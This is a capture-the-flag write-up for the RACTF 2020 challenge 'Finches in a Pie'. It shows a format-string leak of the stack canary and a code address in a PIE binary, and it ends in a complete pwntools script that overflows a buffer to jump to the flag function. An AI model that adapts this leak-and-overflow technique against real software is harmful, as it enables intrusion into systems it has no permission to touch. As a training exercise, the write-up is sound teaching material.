RACTF 2020 / Published

Finches in a Pie

A format-string leak defeats the canary and PIE, then a buffer overflow redirects execution to a built-in flag-printing function.

pwn

4 min read

Target
i386
RELRO
Partial
Canary
Found
NX
Enabled
PIE
Enabled
Challenge brief

There’s a service at xxx, exploit it to get the flag.

Challenge instance ready at 88.198.219.20:27813.

fiap

Binary protections and input behavior

Let’s start off by running checksec on the binary.

vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ checksec fiap
[*] '/vagrant/challenges/ractf/Finches in a Pie/fiap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Okay, a X86 ELF file with a canary, NX, PIE and partial RELRO. Let’s run it to get a better idea of what we’re dealing with.

vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?
123
Thank you, 123!
Would you like some cake?
123

Finding the format string and buffer overflow

The program asks for our name, repeats it back to us, and asks if we’d like some cake. Since our name is repeated back to us, there’s a chance that there might be a format string vulnerability. So let’s test for that.

vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?
%p
Thank you, 0xf7feada0!
Would you like some cake?
%p

Ah looks like we’re right! The name is interpreted as a format string, giving us a way to disclose values. The exploit below uses two leaks to recover the canary and an address within the program; it does not use a %n write. While we’re at it, let’s test if they’re performing proper bounds checking for the size of our input.

vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!

You NAUGHTY CANARY

You ATE MY PIE!

CATCH HIM!

You got him! Thank you!
What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Would you like some cake?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

Locating the canary and PIE leak

Omegalul. Looks likes the second input might be vulnerable to a buffer overflow. Okay we’ve actually got a lot to work with. Before we write our exploit, let’s find the offsets of what we need to leak. So let’s open up gdb.

───────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x565562ee <say_hi+108>    push   eax
   0x565562ef <say_hi+109>    call   printf@plt <0x56556030>

   0x565562f4 <say_hi+114>    add    esp, 0x10
   0x565562f7 <say_hi+117>    lea    eax, [ebp - 0x20]
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 565562ee say_hi+108
   f 1 565563d9 main+113
   f 2 f7df5e81 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 15

00:0000│ esp  0xffffcd44 —▸ 0xf7feada0 ◂— pop    edx
01:0004│      0xffffcd48 —▸ 0xf7e4436b (puts+11) ◂— add    edi, 0x16dc95
02:0008│      0xffffcd4c —▸ 0x5655628f (say_hi+13) ◂— add    ebx, 0x2d71
03:000c│      0xffffcd50 —▸ 0xf7fb2000 ◂— 0x1d4d6c
04:0010│      0xffffcd54 ◂— 0x0
05:0014│      0xffffcd58 ◂— '%p.%p.'
06:0018│      0xffffcd5c ◂— 0x56002e70 /* 'p.' */
07:001c│      0xffffcd60 —▸ 0x56557036 ◂— 'You ATE MY PIE!\n'
08:0020│      0xffffcd64 —▸ 0xf7e9bf86 (setresgid+6) ◂— add    eax, 0x11607a
09:0024│      0xffffcd68 —▸ 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ef4
0a:0028│      0xffffcd6c ◂— 0xa7b41c00
0b:002c│      0xffffcd70 —▸ 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ef4
0c:0030│      0xffffcd74 ◂— 0x0
0d:0034│ ebp  0xffffcd78 —▸ 0xffffcd98 ◂— 0x0
0e:0038│      0xffffcd7c —▸ 0x565563d9 (main+113) ◂— mov    eax, 0

pwndbg> canary
AT_RANDOM = 0xffffcfeb # points to (not masked) global canary value
Canary    = 0xa7b41c00
Found valid canaries on the stacks:
00:0000│   0xffffcd6c ◂— 0xa7b41c00

Looks like we found the canary, and we’ve also got the address of main+113 to work with. Nice!

The displayed name buffer begins at 0xffffcd58, and the canary sits at 0xffffcd6c: a 20-byte distance. The later cake input uses a different buffer, with the canary 25 bytes from its start. These distances have different origins. The %11$p and %15$p selectors identify printf argument positions, not byte offsets within either buffer.

vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ nm fiap | grep flag
00001209 T flag

Additionally, we also found a helper function that prints the flag for us. How convenient!

Returning to the flag function

Ok so here’s the game plan:

  1. First input: name

    • %11$p.%15$p leaks the canary and main_runtime + 113. Compute base = leak - (main_offset + 113), then ret = base + main_offset + 127 and flag = base + 0x1209. Setting elf.address rebases pwntools symbols, so the script uses them without adding the base again.
  2. Second input: cake

    • Send payload: <25 padding bytes><p32(canary) at 25><12 padding bytes><p32(ret) at 41><p32(flag) at 45>. Each packed value occupies four bytes. The return sequence uses one ret gadget before flag.
Two leaks supply the guard and return sequence for the cake inputThe name format string leaks the canary and main plus 113; the cake input uses a different buffer. Its canary starts at 25, ret at 41, and flag at 45. The 20-byte name-buffer guard distance and 25-byte cake-buffer distance have different origins.name: %11$p.%15$p%11$p → canarycopy unchanged%15$p → main_runtime + 113base = leak − (main_offset + 113)ret = base + main_offset + 127flag = base + 0x1209name buffer → guard: 20 bytescake buffer → guard: 25 bytesdifferent input bufferscake input offsets · not to scale02529414549paddingp32(canary)paddingp32(ret)p32(flag)Each p32 cell is four bytes.guard check → one ret → flag()
Figure 1. The name input leaks two values. The separate cake payload preserves the canary and redirects execution through ret to flag.

With both leaks, we can build the separate cake payload shown above.

Python
#! /usr/bin/python3

from pwn import *

HOST = '88.198.219.20'
PORT = 52692
BINARY = './fiap'

elf = context.binary = ELF(BINARY)

elf.symbols['ret'] = elf.symbols['main'] + 127

CANARY_OFFSET = 25
PAYLOAD_OFFSET = CANARY_OFFSET + 16
FMT_PAYLOAD = '%11$p.%15$p'

splash()

r = remote(HOST, PORT)

with log.progress('Stage 1: Leak canary and (main + 113)'):
    r.recvuntil('What\'s your name?\n')
    r.sendline(FMT_PAYLOAD)
    r.recvuntil('Thank you, ')

    leaked = r.recvline().decode().strip()[:-1]
    canary, main_113 = [int(x, 16) for x in leaked.split('.')]

    log.success(f'Leaked canary: 0x{canary:08x}')
    log.success(f'Leaked (main + 113): 0x{main_113:08x}')

with log.progress('Stage 2: Generate ROP Chain'):
    elf.address = main_113 - (elf.symbols['main'] + 113)
    log.success(f'Calculated ELF base address: 0x{elf.address:08x}')

    rop = ROP(elf)
    rop.raw(p32(elf.symbols['ret']))
    rop.flag()

    log.success('Generated ROP Chain:')
    log.success(rop.dump())

with log.progress('Stage 3: Pwn'):
    r.recvuntil('Would you like some cake?\n')
    r.sendline(flat({ CANARY_OFFSET: p32(canary), PAYLOAD_OFFSET: rop.chain() }))

    log.success(f'Flag: {r.recvline().strip().decode()}')

r.close()

Result

Flag: ractf{B4k1ng_4_p1E!}